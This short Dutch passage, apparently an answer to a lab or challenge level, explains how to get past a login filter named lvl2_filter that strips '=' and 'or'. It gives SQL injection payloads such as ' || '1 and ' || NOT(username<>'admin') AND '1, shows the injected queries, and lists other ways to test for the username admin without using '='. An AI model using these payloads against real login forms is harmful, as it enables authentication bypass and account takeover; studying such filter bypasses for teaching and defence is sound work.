Ervan uitgaande dat deze definitie van lvl2_filter
, die in feite elk voorkomen van =
. verwijdert en or
totdat het niet meer wordt gevonden, moet het nog steeds mogelijk zijn om de logische OF-bewerking
met ||
in plaats van OR
en een eenvoudige uitdrukking die evalueert tot waar, zoals:
username: dummy
password: ' || '1
Dit zou resulteren in:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Voor het selecteren van een specifieke gebruiker kan men de regels van boolean algebra
gebruiken , waarbij x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Dit zou resulteren in:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Hier <>
is gelijk aan !=
maar bevat geen =
.
Er zijn ook andere bewerkingen die men zou kunnen gebruiken om ervoor te zorgen dat gebruikersnaam is gelijk aan admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …